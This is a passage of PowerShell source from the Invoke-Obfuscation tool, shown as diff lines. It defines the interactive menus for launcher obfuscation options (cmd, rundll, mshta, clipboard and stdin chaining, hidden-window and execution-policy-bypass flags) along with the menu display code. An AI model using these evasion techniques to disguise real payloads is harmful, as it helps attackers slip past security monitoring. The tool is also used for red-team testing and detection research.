$MenuLevel_Launcher += , @($LineSpacing, 'VAR+' , 'Cmd + set && PowerShell iex ') + $MenuLevel_Launcher += , @($LineSpacing, 'STDIN+' , 'Cmd + | PowerShell - (stdin)') + $MenuLevel_Launcher += , @($LineSpacing, 'CLIP+' , 'Cmd + | Clip && PowerShell iex ') + $MenuLevel_Launcher += , @($LineSpacing, 'VAR++' , 'Cmd + set && Cmd && PowerShell iex ') + $MenuLevel_Launcher += , @($LineSpacing, 'STDIN++' , 'Cmd + set && Cmd | PowerShell - (stdin)') + $MenuLevel_Launcher += , @($LineSpacing, 'CLIP++' , 'Cmd + | Clip && Cmd && PowerShell iex ') + $MenuLevel_Launcher += , @($LineSpacing, 'RUNDLL++' , 'Cmd + set Var && && PowerShell iex Var') + $MenuLevel_Launcher += , @($LineSpacing, 'MSHTA++' , 'Cmd + set Var && && PowerShell iex Var') + + $MenuLevel_Launcher_PS = @() + $MenuLevel_Launcher_PS += , @("Enter string of numbers with all desired flags to pass to function. (e.g. 23459)`n", '' , '' , @('', '', '')) + $MenuLevel_Launcher_PS += , @($LineSpacing, '0' , 'NO EXECUTION FLAGS' , @('Out-PowerShellLauncher', '', '1')) + $MenuLevel_Launcher_PS += , @($LineSpacing, '1' , '-NoExit' , @('Out-PowerShellLauncher', '', '1')) + $MenuLevel_Launcher_PS += , @($LineSpacing, '2' , '-NonInteractive' , @('Out-PowerShellLauncher', '', '1')) + $MenuLevel_Launcher_PS += , @($LineSpacing, '3' , '-NoLogo' , @('Out-PowerShellLauncher', '', '1')) + $MenuLevel_Launcher_PS += , @($LineSpacing, '4' , '-NoProfile' , @('Out-PowerShellLauncher', '', '1')) + $MenuLevel_Launcher_PS += , @($LineSpacing, '5' , '-Command' , @('Out-PowerShellLauncher', '', '1')) + $MenuLevel_Launcher_PS += , @($LineSpacing, '6' , '-WindowStyle Hidden' , @('Out-PowerShellLauncher', '', '1')) + $MenuLevel_Launcher_PS += , @($LineSpacing, '7' , '-ExecutionPolicy Bypass' , @('Out-PowerShellLauncher', '', '1')) + $MenuLevel_Launcher_PS += , @($LineSpacing, '8' , '-Wow64 (to path 32-bit powershell.exe)' , @('Out-PowerShellLauncher', '', '1')) + + $MenuLevel_Launcher_CMD = @() + $MenuLevel_Launcher_CMD += , @("Enter string of numbers with all desired flags to pass to function. (e.g. 23459)`n", '' , '' , @('', '', '')) + $MenuLevel_Launcher_CMD += , @($LineSpacing, '0' , 'NO EXECUTION FLAGS' , @('Out-PowerShellLauncher', '', '2')) + $MenuLevel_Launcher_CMD += , @($LineSpacing, '1' , '-NoExit' , @('Out-PowerShellLauncher', '', '2')) + $MenuLevel_Launcher_CMD += , @($LineSpacing, '2' , '-NonInteractive' , @('Out-PowerShellLauncher', '', '2')) + $MenuLevel_Launcher_CMD += , @($LineSpacing, '3' , '-NoLogo' , @('Out-PowerShellLauncher', '', '2')) + $MenuLevel_Launcher_CMD += , @($LineSpacing, '4' , '-NoProfile' , @('Out-PowerShellLauncher', '', '2')) + $MenuLevel_Launcher_CMD += , @($LineSpacing, '5' , '-Command' , @('Out-PowerShellLauncher', '', '2')) + $MenuLevel_Launcher_CMD += , @($LineSpacing, '6' , '-WindowStyle Hidden' , @('Out-PowerShellLauncher', '', '2')) + $MenuLevel_Launcher_CMD += , @($LineSpacing, '7' , '-ExecutionPolicy Bypass' , @('Out-PowerShellLauncher', '', '2')) + $MenuLevel_Launcher_CMD += , @($LineSpacing, '8' , '-Wow64 (to path 32-bit powershell.exe)' , @('Out-PowerShellLauncher', '', '2')) + + $MenuLevel_Launcher_WMIC = @() + $MenuLevel_Launcher_WMIC += , @("Enter string of numbers with all desired flags to pass to function. (e.g. 23459)`n", '' , '' , @('', '', '')) + $MenuLevel_Launcher_WMIC += , @($LineSpacing, '0' , 'NO EXECUTION FLAGS' , @('Out-PowerShellLauncher', '', '3')) + $MenuLevel_Launcher_WMIC += , @($LineSpacing, '1' , '-NoExit' , @('Out-PowerShellLauncher', '', '3')) + $MenuLevel_Launcher_WMIC += , @($LineSpacing, '2' , '-NonInteractive' , @('Out-PowerShellLauncher', '', '3')) + $MenuLevel_Launcher_WMIC += , @($LineSpacing, '3' , '-NoLogo' , @('Out-PowerShellLauncher', '', '3')) + $MenuLevel_Launcher_WMIC += , @($LineSpacing, '4' , '-NoProfile' , @('Out-PowerShellLauncher', '', '3')) + $MenuLevel_Launcher_WMIC += , @($LineSpacing, '5' , '-Command' , @('Out-PowerShellLauncher', '', '3')) + $MenuLevel_Launcher_WMIC += , @($LineSpacing, '6' , '-WindowStyle Hidden' , @('Out-PowerShellLauncher', '', '3')) + $MenuLevel_Launcher_WMIC += , @($LineSpacing, '7' , '-ExecutionPolicy Bypass' , @('Out-PowerShellLauncher', '', '3')) + $MenuLevel_Launcher_WMIC += , @($LineSpacing, '8' , '-Wow64 (to path 32-bit powershell.exe)' , @('Out-PowerShellLauncher', '', '3')) + + $MenuLevel_Launcher_RUNDLL = @() + $MenuLevel_Launcher_RUNDLL += , @("Enter string of numbers with all desired flags to pass to function. (e.g. 23459)`n", '' , '' , @('', '', '')) + $MenuLevel_Launcher_RUNDLL += , @($LineSpacing, '0' , 'NO EXECUTION FLAGS' , @('Out-PowerShellLauncher', '', '4')) + $MenuLevel_Launcher_RUNDLL += , @($LineSpacing, '1' , '-NoExit' , @('Out-PowerShellLauncher', '', '4')) + $MenuLevel_Launcher_RUNDLL += , @($LineSpacing, '2' , '-NonInteractive' , @('Out-PowerShellLauncher', '', '4')) + $MenuLevel_Launcher_RUNDLL += , @($LineSpacing, '3' , '-NoLogo' , @('Out-PowerShellLauncher', '', '4')) + $MenuLevel_Launcher_RUNDLL += , @($LineSpacing, '4' , '-NoProfile' , @('Out-PowerShellLauncher', '', '4')) + $MenuLevel_Launcher_RUNDLL += , @($LineSpacing, '5' , '-Command' , @('Out-PowerShellLauncher', '', '4')) + $MenuLevel_Launcher_RUNDLL += , @($LineSpacing, '6' , '-WindowStyle Hidden' , @('Out-PowerShellLauncher', '', '4')) + $MenuLevel_Launcher_RUNDLL += , @($LineSpacing, '7' , '-ExecutionPolicy Bypass' , @('Out-PowerShellLauncher', '', '4')) + $MenuLevel_Launcher_RUNDLL += , @($LineSpacing, '8' , '-Wow64 (to path 32-bit powershell.exe)' , @('Out-PowerShellLauncher', '', '4')) + + ${MenuLevel_Launcher_VAR+} = @() + ${MenuLevel_Launcher_VAR+} += , @("Enter string of numbers with all desired flags to pass to function. (e.g. 23459)`n", '' , '' , @('', '', '')) + ${MenuLevel_Launcher_VAR+} += , @($LineSpacing, '0' , 'NO EXECUTION FLAGS' , @('Out-PowerShellLauncher', '', '5')) + ${MenuLevel_Launcher_VAR+} += , @($LineSpacing, '1' , '-NoExit' , @('Out-PowerShellLauncher', '', '5')) + ${MenuLevel_Launcher_VAR+} += , @($LineSpacing, '2' , '-NonInteractive' , @('Out-PowerShellLauncher', '', '5')) + ${MenuLevel_Launcher_VAR+} += , @($LineSpacing, '3' , '-NoLogo' , @('Out-PowerShellLauncher', '', '5')) + ${MenuLevel_Launcher_VAR+} += , @($LineSpacing, '4' , '-NoProfile' , @('Out-PowerShellLauncher', '', '5')) + ${MenuLevel_Launcher_VAR+} += , @($LineSpacing, '5' , '-Command' , @('Out-PowerShellLauncher', '', '5')) + ${MenuLevel_Launcher_VAR+} += , @($LineSpacing, '6' , '-WindowStyle Hidden' , @('Out-PowerShellLauncher', '', '5')) + ${MenuLevel_Launcher_VAR+} += , @($LineSpacing, '7' , '-ExecutionPolicy Bypass' , @('Out-PowerShellLauncher', '', '5')) + ${MenuLevel_Launcher_VAR+} += , @($LineSpacing, '8' , '-Wow64 (to path 32-bit powershell.exe)' , @('Out-PowerShellLauncher', '', '5')) + + ${MenuLevel_Launcher_STDIN+} = @() + ${MenuLevel_Launcher_STDIN+} += , @("Enter string of numbers with all desired flags to pass to function. (e.g. 23459)`n", '' , '' , @('', '', '')) + ${MenuLevel_Launcher_STDIN+} += , @($LineSpacing, '0' , 'NO EXECUTION FLAGS' , @('Out-PowerShellLauncher', '', '6')) + ${MenuLevel_Launcher_STDIN+} += , @($LineSpacing, '1' , '-NoExit' , @('Out-PowerShellLauncher', '', '6')) + ${MenuLevel_Launcher_STDIN+} += , @($LineSpacing, '2' , '-NonInteractive' , @('Out-PowerShellLauncher', '', '6')) + ${MenuLevel_Launcher_STDIN+} += , @($LineSpacing, '3' , '-NoLogo' , @('Out-PowerShellLauncher', '', '6')) + ${MenuLevel_Launcher_STDIN+} += , @($LineSpacing, '4' , '-NoProfile' , @('Out-PowerShellLauncher', '', '6')) + ${MenuLevel_Launcher_STDIN+} += , @($LineSpacing, '5' , '-Command' , @('Out-PowerShellLauncher', '', '6')) + ${MenuLevel_Launcher_STDIN+} += , @($LineSpacing, '6' , '-WindowStyle Hidden' , @('Out-PowerShellLauncher', '', '6')) + ${MenuLevel_Launcher_STDIN+} += , @($LineSpacing, '7' , '-ExecutionPolicy Bypass' , @('Out-PowerShellLauncher', '', '6')) + ${MenuLevel_Launcher_STDIN+} += , @($LineSpacing, '8' , '-Wow64 (to path 32-bit powershell.exe)' , @('Out-PowerShellLauncher', '', '6')) + + ${MenuLevel_Launcher_CLIP+} = @() + ${MenuLevel_Launcher_CLIP+} += , @("Enter string of numbers with all desired flags to pass to function. (e.g. 23459)`n", '' , '' , @('', '', '')) + ${MenuLevel_Launcher_CLIP+} += , @($LineSpacing, '0' , 'NO EXECUTION FLAGS' , @('Out-PowerShellLauncher', '', '7')) + ${MenuLevel_Launcher_CLIP+} += , @($LineSpacing, '1' , '-NoExit' , @('Out-PowerShellLauncher', '', '7')) + ${MenuLevel_Launcher_CLIP+} += , @($LineSpacing, '2' , '-NonInteractive' , @('Out-PowerShellLauncher', '', '7')) + ${MenuLevel_Launcher_CLIP+} += , @($LineSpacing, '3' , '-NoLogo' , @('Out-PowerShellLauncher', '', '7')) + ${MenuLevel_Launcher_CLIP+} += , @($LineSpacing, '4' , '-NoProfile' , @('Out-PowerShellLauncher', '', '7')) + ${MenuLevel_Launcher_CLIP+} += , @($LineSpacing, '5' , '-Command' , @('Out-PowerShellLauncher', '', '7')) + ${MenuLevel_Launcher_CLIP+} += , @($LineSpacing, '6' , '-WindowStyle Hidden' , @('Out-PowerShellLauncher', '', '7')) + ${MenuLevel_Launcher_CLIP+} += , @($LineSpacing, '7' , '-ExecutionPolicy Bypass' , @('Out-PowerShellLauncher', '', '7')) + ${MenuLevel_Launcher_CLIP+} += , @($LineSpacing, '8' , '-Wow64 (to path 32-bit powershell.exe)' , @('Out-PowerShellLauncher', '', '7')) + + ${MenuLevel_Launcher_VAR++} = @() + ${MenuLevel_Launcher_VAR++} += , @("Enter string of numbers with all desired flags to pass to function. (e.g. 23459)`n", '' , '' , @('', '', '')) + ${MenuLevel_Launcher_VAR++} += , @($LineSpacing, '0' , 'NO EXECUTION FLAGS' , @('Out-PowerShellLauncher', '', '8')) + ${MenuLevel_Launcher_VAR++} += , @($LineSpacing, '1' , '-NoExit' , @('Out-PowerShellLauncher', '', '8')) + ${MenuLevel_Launcher_VAR++} += , @($LineSpacing, '2' , '-NonInteractive' , @('Out-PowerShellLauncher', '', '8')) + ${MenuLevel_Launcher_VAR++} += , @($LineSpacing, '3' , '-NoLogo' , @('Out-PowerShellLauncher', '', '8')) + ${MenuLevel_Launcher_VAR++} += , @($LineSpacing, '4' , '-NoProfile' , @('Out-PowerShellLauncher', '', '8')) + ${MenuLevel_Launcher_VAR++} += , @($LineSpacing, '5' , '-Command' , @('Out-PowerShellLauncher', '', '8')) + ${MenuLevel_Launcher_VAR++} += , @($LineSpacing, '6' , '-WindowStyle Hidden' , @('Out-PowerShellLauncher', '', '8')) + ${MenuLevel_Launcher_VAR++} += , @($LineSpacing, '7' , '-ExecutionPolicy Bypass' , @('Out-PowerShellLauncher', '', '8')) + ${MenuLevel_Launcher_VAR++} += , @($LineSpacing, '8' , '-Wow64 (to path 32-bit powershell.exe)' , @('Out-PowerShellLauncher', '', '8')) + + ${MenuLevel_Launcher_STDIN++} = @() + ${MenuLevel_Launcher_STDIN++} += , @("Enter string of numbers with all desired flags to pass to function. (e.g. 23459)`n", '' , '' , @('', '', '')) + ${MenuLevel_Launcher_STDIN++} += , @($LineSpacing, '0' , "`tNO EXECUTION FLAGS" , @('Out-PowerShellLauncher', '', '9')) + ${MenuLevel_Launcher_STDIN++} += , @($LineSpacing, '1' , "`t-NoExit" , @('Out-PowerShellLauncher', '', '9')) + ${MenuLevel_Launcher_STDIN++} += , @($LineSpacing, '2' , "`t-NonInteractive" , @('Out-PowerShellLauncher', '', '9')) + ${MenuLevel_Launcher_STDIN++} += , @($LineSpacing, '3' , "`t-NoLogo" , @('Out-PowerShellLauncher', '', '9')) + ${MenuLevel_Launcher_STDIN++} += , @($LineSpacing, '4' , "`t-NoProfile" , @('Out-PowerShellLauncher', '', '9')) + ${MenuLevel_Launcher_STDIN++} += , @($LineSpacing, '5' , "`t-Command" , @('Out-PowerShellLauncher', '', '9')) + ${MenuLevel_Launcher_STDIN++} += , @($LineSpacing, '6' , "`t-WindowStyle Hidden" , @('Out-PowerShellLauncher', '', '9')) + ${MenuLevel_Launcher_STDIN++} += , @($LineSpacing, '7' , "`t-ExecutionPolicy Bypass" , @('Out-PowerShellLauncher', '', '9')) + ${MenuLevel_Launcher_STDIN++} += , @($LineSpacing, '8' , "`t-Wow64 (to path 32-bit powershell.exe)" , @('Out-PowerShellLauncher', '', '9')) + + ${MenuLevel_Launcher_CLIP++} = @() + ${MenuLevel_Launcher_CLIP++} += , @("Enter string of numbers with all desired flags to pass to function. (e.g. 23459)`n", '' , '' , @('', '', '')) + ${MenuLevel_Launcher_CLIP++} += , @($LineSpacing, '0' , 'NO EXECUTION FLAGS' , @('Out-PowerShellLauncher', '', '10')) + ${MenuLevel_Launcher_CLIP++} += , @($LineSpacing, '1' , '-NoExit' , @('Out-PowerShellLauncher', '', '10')) + ${MenuLevel_Launcher_CLIP++} += , @($LineSpacing, '2' , '-NonInteractive' , @('Out-PowerShellLauncher', '', '10')) + ${MenuLevel_Launcher_CLIP++} += , @($LineSpacing, '3' , '-NoLogo' , @('Out-PowerShellLauncher', '', '10')) + ${MenuLevel_Launcher_CLIP++} += , @($LineSpacing, '4' , '-NoProfile' , @('Out-PowerShellLauncher', '', '10')) + ${MenuLevel_Launcher_CLIP++} += , @($LineSpacing, '5' , '-Command' , @('Out-PowerShellLauncher', '', '10')) + ${MenuLevel_Launcher_CLIP++} += , @($LineSpacing, '6' , '-WindowStyle Hidden' , @('Out-PowerShellLauncher', '', '10')) + ${MenuLevel_Launcher_CLIP++} += , @($LineSpacing, '7' , '-ExecutionPolicy Bypass' , @('Out-PowerShellLauncher', '', '10')) + ${MenuLevel_Launcher_CLIP++} += , @($LineSpacing, '8' , '-Wow64 (to path 32-bit powershell.exe)' , @('Out-PowerShellLauncher', '', '10')) + + ${MenuLevel_Launcher_RUNDLL++} = @() + ${MenuLevel_Launcher_RUNDLL++} += , @("Enter string of numbers with all desired flags to pass to function. (e.g. 23459)`n", '' , '' , @('', '', '')) + ${MenuLevel_Launcher_RUNDLL++} += , @($LineSpacing, '0' , 'NO EXECUTION FLAGS' , @('Out-PowerShellLauncher', '', '11')) + ${MenuLevel_Launcher_RUNDLL++} += , @($LineSpacing, '1' , '-NoExit' , @('Out-PowerShellLauncher', '', '11')) + ${MenuLevel_Launcher_RUNDLL++} += , @($LineSpacing, '2' , '-NonInteractive' , @('Out-PowerShellLauncher', '', '11')) + ${MenuLevel_Launcher_RUNDLL++} += , @($LineSpacing, '3' , '-NoLogo' , @('Out-PowerShellLauncher', '', '11')) + ${MenuLevel_Launcher_RUNDLL++} += , @($LineSpacing, '4' , '-NoProfile' , @('Out-PowerShellLauncher', '', '11')) + ${MenuLevel_Launcher_RUNDLL++} += , @($LineSpacing, '5' , '-Command' , @('Out-PowerShellLauncher', '', '11')) + ${MenuLevel_Launcher_RUNDLL++} += , @($LineSpacing, '6' , '-WindowStyle Hidden' , @('Out-PowerShellLauncher', '', '11')) + ${MenuLevel_Launcher_RUNDLL++} += , @($LineSpacing, '7' , '-ExecutionPolicy Bypass' , @('Out-PowerShellLauncher', '', '11')) + ${MenuLevel_Launcher_RUNDLL++} += , @($LineSpacing, '8' , '-Wow64 (to path 32-bit powershell.exe)' , @('Out-PowerShellLauncher', '', '11')) + + ${MenuLevel_Launcher_MSHTA++} = @() + ${MenuLevel_Launcher_MSHTA++} += , @("Enter string of numbers with all desired flags to pass to function. (e.g. 23459)`n", '' , '' , @('', '', '')) + ${MenuLevel_Launcher_MSHTA++} += , @($LineSpacing, '0' , 'NO EXECUTION FLAGS' , @('Out-PowerShellLauncher', '', '12')) + ${MenuLevel_Launcher_MSHTA++} += , @($LineSpacing, '1' , '-NoExit' , @('Out-PowerShellLauncher', '', '12')) + ${MenuLevel_Launcher_MSHTA++} += , @($LineSpacing, '2' , '-NonInteractive' , @('Out-PowerShellLauncher', '', '12')) + ${MenuLevel_Launcher_MSHTA++} += , @($LineSpacing, '3' , '-NoLogo' , @('Out-PowerShellLauncher', '', '12')) + ${MenuLevel_Launcher_MSHTA++} += , @($LineSpacing, '4' , '-NoProfile' , @('Out-PowerShellLauncher', '', '12')) + ${MenuLevel_Launcher_MSHTA++} += , @($LineSpacing, '5' , '-Command' , @('Out-PowerShellLauncher', '', '12')) + ${MenuLevel_Launcher_MSHTA++} += , @($LineSpacing, '6' , '-WindowStyle Hidden' , @('Out-PowerShellLauncher', '', '12')) + ${MenuLevel_Launcher_MSHTA++} += , @($LineSpacing, '7' , '-ExecutionPolicy Bypass' , @('Out-PowerShellLauncher', '', '12')) + ${MenuLevel_Launcher_MSHTA++} += , @($LineSpacing, '8' , '-Wow64 (to path 32-bit powershell.exe)' , @('Out-PowerShellLauncher', '', '12')) + + # Input options to display non-interactive menus or perform actions. + $TutorialInputOptions = @(@('tutorial') , " of how to use this tool `t " ) + $MenuInputOptionsShowHelp = @(@('help','get-help','?','-?','/?','menu'), "Show this Menu `t " ) + $MenuInputOptionsShowOptions = @(@('show options','show','options') , " for payload to obfuscate `t " ) + $ClearScreenInputOptions = @(@('clear','clear-host','cls') , " screen `t " ) + $CopyToClipboardInputOptions = @(@('copy','clip','clipboard') , " ObfuscatedCommand to clipboard `t " ) + $OutputToDiskInputOptions = @(@('out') , "Write ObfuscatedCommand to disk `t " ) + $ExecutionInputOptions = @(@('exec','execute','test','run') , " ObfuscatedCommand locally `t " ) + $ResetObfuscationInputOptions = @(@('reset') , " ALL obfuscation for ObfuscatedCommand ") + $UndoObfuscationInputOptions = @(@('undo') , " LAST obfuscation for ObfuscatedCommand ") + $BackCommandInputOptions = @(@('back','cd ..') , "Go to previous obfuscation menu `t " ) + $ExitCommandInputOptions = @(@('quit','exit') , " Invoke-Obfuscation `t " ) + $HomeMenuInputOptions = @(@('home','main') , "Return to Menu `t " ) + # For Version 1.0 ASCII art is not necessary. + #$ShowAsciiArtInputOptions = @(@('ascii') , "Display random art for the lulz :)`t") + + # Add all above input options lists to be displayed in SHOW OPTIONS menu. + $AllAvailableInputOptionsLists = @() + $AllAvailableInputOptionsLists += , $TutorialInputOptions + $AllAvailableInputOptionsLists += , $MenuInputOptionsShowHelp + $AllAvailableInputOptionsLists += , $MenuInputOptionsShowOptions + $AllAvailableInputOptionsLists += , $ClearScreenInputOptions + $AllAvailableInputOptionsLists += , $ExecutionInputOptions + $AllAvailableInputOptionsLists += , $CopyToClipboardInputOptions + $AllAvailableInputOptionsLists += , $OutputToDiskInputOptions + $AllAvailableInputOptionsLists += , $ResetObfuscationInputOptions + $AllAvailableInputOptionsLists += , $UndoObfuscationInputOptions + $AllAvailableInputOptionsLists += , $BackCommandInputOptions + $AllAvailableInputOptionsLists += , $ExitCommandInputOptions + $AllAvailableInputOptionsLists += , $HomeMenuInputOptions + # For Version 1.0 ASCII art is not necessary. + #$AllAvailableInputOptionsLists += , $ShowAsciiArtInputOptions + + # Input options to change interactive menus. + $ExitInputOptions = $ExitCommandInputOptions[0] + $MenuInputOptions = $BackCommandInputOptions[0] + + # Obligatory ASCII Art. + Show-AsciiArt + Start-Sleep -Seconds 2 + + # Show Help Menu once at beginning of script. + Show-HelpMenu + + # Main loop for user interaction. Show-Menu function displays current function along with acceptable input options (defined in arrays instantiated above). + # User input and validation is handled within Show-Menu. + $UserResponse = '' + While($ExitInputOptions -NotContains ([String]$UserResponse).ToLower()) + { + $UserResponse = ([String]$UserResponse).Trim() + + If($HomeMenuInputOptions[0] -Contains ([String]$UserResponse).ToLower()) + { + $UserResponse = '' + } + + # Display menu if it is defined in a menu variable with $UserResponse in the variable name. + If(Test-Path ('Variable:' + "MenuLevel$UserResponse")) + { + $UserResponse = Show-Menu (Get-Variable "MenuLevel$UserResponse").Value $UserResponse $Script:OptionsMenu + } + Else + { + Write-Error "The variable MenuLevel$UserResponse does not exist." + $UserResponse = 'quit' + } + + If(($UserResponse -eq 'quit') -AND $CliWasSpecified -AND !$NoExitWasSpecified) + { + Write-Output $Script:ObfuscatedCommand.Trim("`n") + $UserInput = 'quit' + } + } +} + + +# Get location of this script no matter what the current directory is for the process executing this script. +$ScriptDir = [System.IO.Path]::GetDirectoryName($myInvocation.MyCommand.Definition) + + +Function Show-Menu +{ +<# +.SYNOPSIS + +HELPER FUNCTION :: Displays current menu with obfuscation navigation and application options for Invoke-Obfuscation. + +Invoke-Obfuscation Function: Show-Menu +Author: Daniel Bohannon (@danielhbohannon) +License: Apache License, Version 2.0 +Required Dependencies: None +Optional Dependencies: None + +.DESCRIPTION + +Show-Menu displays current menu with obfuscation navigation and application options for Invoke-Obfuscation. + +.PARAMETER Menu + +Specifies the menu options to display, with acceptable input options parsed out of this array. + +.PARAMETER MenuName + +Specifies the menu header display and the breadcrumb used in the interactive prompt display. + +.PARAMETER Script:OptionsMenu + +Specifies the script-wide variable containing additional acceptable input in addition to each menu's specific acceptable input (e.g. EXIT, QUIT, BACK, HOME, MAIN, etc.). + +.EXAMPLE + +C:\PS> Show-Menu + +.NOTES + +This is a personal project developed by Daniel Bohannon while an employee at MANDIANT, A FireEye Company. + +.LINK + +http://www.danielbohannon.com +#> + + Param( + [Parameter(ValueFromPipeline = $true)] + [ValidateNotNullOrEmpty()] + [Object[]] + $Menu, + + [String] + $MenuName, + + [Object[]] + $Script:OptionsMenu + ) + + # Extract all acceptable values from $Menu. + $AcceptableInput = @() + $SelectionContainsCommand = $FALSE + ForEach($Line in $Menu) + { + # If there are 4 items in each $Line in $Menu then the fourth item is a command to exec if selected. + If($Line.Count -eq 4) + { + $SelectionContainsCommand = $TRUE + } + $AcceptableInput += ($Line[1]).Trim(' ') + } + + $UserInput = $NULL + + While($AcceptableInput -NotContains $UserInput) + { + # Format custom breadcrumb prompt. + Write-Host "`n" + $BreadCrumb = $MenuName.Trim('_') + If($BreadCrumb.Length -gt 1) + { + If($BreadCrumb.ToLower() -eq 'show options') + { + $BreadCrumb = 'Show Options' + } + If($MenuName -ne '') + { + # Handle specific case substitutions from what is ALL CAPS in interactive menu and then correct casing we want to appear in the Breadcrumb. + $BreadCrumbOCD = @() + $BreadCrumbOCD += , @('ps' ,'PS') + $BreadCrumbOCD += , @('cmd' ,'Cmd') + $BreadCrumbOCD += , @('wmic' ,'Wmic') + $BreadCrumbOCD += , @('rundll' ,'RunDll') + $BreadCrumbOCD += , @('var+' ,'Var+') + $BreadCrumbOCD += , @('stdin+' ,'StdIn+') + $BreadCrumbOCD += , @('clip+' ,'Clip+') + $BreadCrumbOCD += , @('var++' ,'Var++') + $BreadCrumbOCD += , @('stdin++' ,'StdIn++') + $BreadCrumbOCD += , @('clip++' ,'Clip++') + $BreadCrumbOCD += , @('rundll++','RunDll++') + $BreadCrumbOCD += , @('mshta++' ,'Mshta++') + + $BreadCrumbArray = @() + ForEach($Crumb in $BreadCrumb.Split('_')) + { + # Perform casing substitutions for any matches in $BreadCrumbOCD array. + $StillLookingForSubstitution = $TRUE + ForEach($Substitution in $BreadCrumbOCD) + { + If($Crumb.ToLower() -eq $Substitution[0]) + { + $BreadCrumbArray += $Substitution[1] + $StillLookingForSubstitution = $FALSE + } + } + + # If no substitution occurred above then simply upper-case the first character and lower-case all the remaining characters. + If($StillLookingForSubstitution) + { + $BreadCrumbArray += $Crumb.SubString(0,1).ToUpper() + $Crumb.SubString(1).ToLower() + + # If no substitution was found for the 3rd or later BreadCrumb element (only for Launcher BreadCrumb) then throw a warning so we can add this substitution pair to $BreadCrumbOCD. + If(($BreadCrumb.Split('_').Count -eq 2) -AND ($BreadCrumb.StartsWith('Launcher_')) -AND ($Crumb -ne 'Launcher')) + { + Write-Warning "No substituion pair was found for `$Crumb=$Crumb in `$BreadCrumb=$BreadCrumb. Add this `$Crumb substitution pair to `$BreadCrumbOCD array in Invoke-Obfuscation." + } + } + } + $BreadCrumb = $BreadCrumbArray -Join '\' + } + $BreadCrumb = '\' + $BreadCrumb + } + + # Output menu heading. + $FirstLine = "Choose one of the below " + If($BreadCrumb -ne '') + { + $FirstLine = $FirstLine + $BreadCrumb.Trim('\') + ' ' + } + Write-Host "$FirstLine" -NoNewLine + + # Change color and verbiage if selection will execute command. + If($SelectionContainsCommand) + { + Write-Host "options" -NoNewLine -ForegroundColor Green + Write-Host " to" -NoNewLine + Write-Host " APPLY" -NoNewLine -ForegroundColor Green + Write-Host " to current payload" -NoNewLine + } + Else + { + Write-Host "options" -NoNewLine -ForegroundColor Yellow + } + Write-Host ":`n" + + ForEach($Line in $Menu) + { + $LineSpace = $Line[0] + $LineOption = $Line[1] + $LineValue = $Line[2] + Write-Host $LineSpace -NoNewLine + + # If not empty then include breadcrumb in $LineOption output (is not colored and won't affect user input syntax). + If(($BreadCrumb -ne '') -AND ($LineSpace.StartsWith('['))) + { + Write-Host ($BreadCrumb.ToUpper().Trim('\') + '\') -NoNewLine + } + + # Change color if selection will execute command. + If($SelectionContainsCommand) + { + Write-Host $LineOption -NoNewLine -ForegroundColor Green + } + Else + { + Write-Host $LineOption -NoNewLine -ForegroundColor Yellow + } + + # Add additional coloring to string encapsulated by <> if it exists in $LineValue. + If($LineValue.Contains('<') -AND $LineValue.Contains('>')) + { + $FirstPart = $LineValue.SubString(0,$LineValue.IndexOf('<')) + $MiddlePart = $LineValue.SubString($FirstPart.Length+1) + $MiddlePart = $MiddlePart.SubString(0,$MiddlePart.IndexOf('>')) + $LastPart = $LineValue.SubString($FirstPart.Length+$MiddlePart.Length+2) + Write-Host "`t$FirstPart" -NoNewLine + Write-Host $MiddlePart -NoNewLine -ForegroundColor Cyan + + # Handle if more than one term needs to be output in different color. + If($LastPart.Contains('<') -AND $LastPart.Contains('>')) + { + $LineValue = $LastPart + $FirstPart = $LineValue.SubString(0,$LineValue.IndexOf('<')) + $MiddlePart = $LineValue.SubString($FirstPart.Length+1) + $MiddlePart = $MiddlePart.SubString(0,$MiddlePart.IndexOf('>')) + $LastPart = $LineValue.SubString($FirstPart.Length+$MiddlePart.Length+2) + Write-Host "$FirstPart" -NoNewLine + Write-Host $MiddlePart -NoNewLine -ForegroundColor Cyan + } + + Write-Host $LastPart + } + Else + { + Write-Host "`t$LineValue" + } + } + + # Prompt for user input with custom breadcrumb prompt. + Write-Host '' + If($UserInput -ne '') {Write-Host ''} + $UserInput = '' + + While(($UserInput -eq '') -AND ($Script:CompoundCommand.Count -eq 0)) + { + # Output custom prompt. + Write-Host "Invoke-Obfuscation$BreadCrumb> " -NoNewLine -ForegroundColor Magenta + + # Get interactive user input if CliCommands input variable was not specified by user. + If(($Script:CliCommands.Count -gt 0) -OR ($Script:CliCommands -ne $NULL)) + { + If($Script:CliCommands.GetType().Name -eq 'String') + { + $NextCliCommand = $Script:CliCommands.Trim() + $Script:CliCommands = @() + } + Else + { + $NextCliCommand = ([String]$Script:CliCommands[0]).Trim() + $Script:CliCommands = For($i=1; $i -lt $Script:CliCommands.Count; $i++) {$Script:CliCommands[$i]} + } + + $UserInput = $NextCliCommand + } + Else + { + # If Command was defined on command line and NoExit switch was not defined then output final ObfuscatedCommand to stdout and then quit. Otherwise continue with interactive Invoke-Obfuscation. + If($CliWasSpecified -AND ($Script:CliCommands.Count -lt 1) -AND ($Script:CompoundCommand.Count -lt 1) -AND ($Script:QuietWasSpecified -OR !$NoExitWasSpecified)) + { + If($Script:QuietWasSpecified) + { + # Remove Write-Host and Start-Sleep proxy functions so that Write-Host and Start-Sleep cmdlets will be called during the remainder of the interactive Invoke-Obfuscation session. + Remove-Item -Path Function:Write-Host + Remove-Item -Path Function:Start-Sleep + + $Script:QuietWasSpecified = $FALSE + + # Automatically run 'Show Options' so the user has context of what has successfully been executed. + $UserInput = 'show options' + $BreadCrumb = 'Show Options' + } + # -NoExit wasn't specified and -Command was, so we will output the result back in the main While loop. + If(!$NoExitWasSpecified) + { + $UserInput = 'quit' + } + } + Else + { + $UserInput = (Read-Host).Trim() + } + + # Process interactive UserInput using CLI syntax, so comma-delimited and slash-delimited commands can be processed interactively. + If(($Script:CliCommands.Count -eq 0) -AND !$UserInput.ToLower().StartsWith('set ') -AND $UserInput.Contains(',')) + { + $Script:CliCommands = $UserInput.Split(',') + + # Reset $UserInput so current While loop will be traversed once more and process UserInput command as a CliCommand. + $UserInput = '' + } + } + } + + # Trim any leading trailing slashes so it doesn't misinterpret it as a compound command unnecessarily. + $UserInput = $UserInput.Trim('/\') + + # Cause UserInput of base menu level directories to automatically work. + # The only exception is STRING if the current MenuName is _token since it can be the base menu STRING or TOKEN/STRING. + If((($MenuLevel | ForEach-Object {$_[1].Trim()}) -Contains $UserInput.Split('/\')[0]) -AND !(('string' -Contains $UserInput.Split('/\')[0]) -AND ($MenuName -eq '_token')) -AND 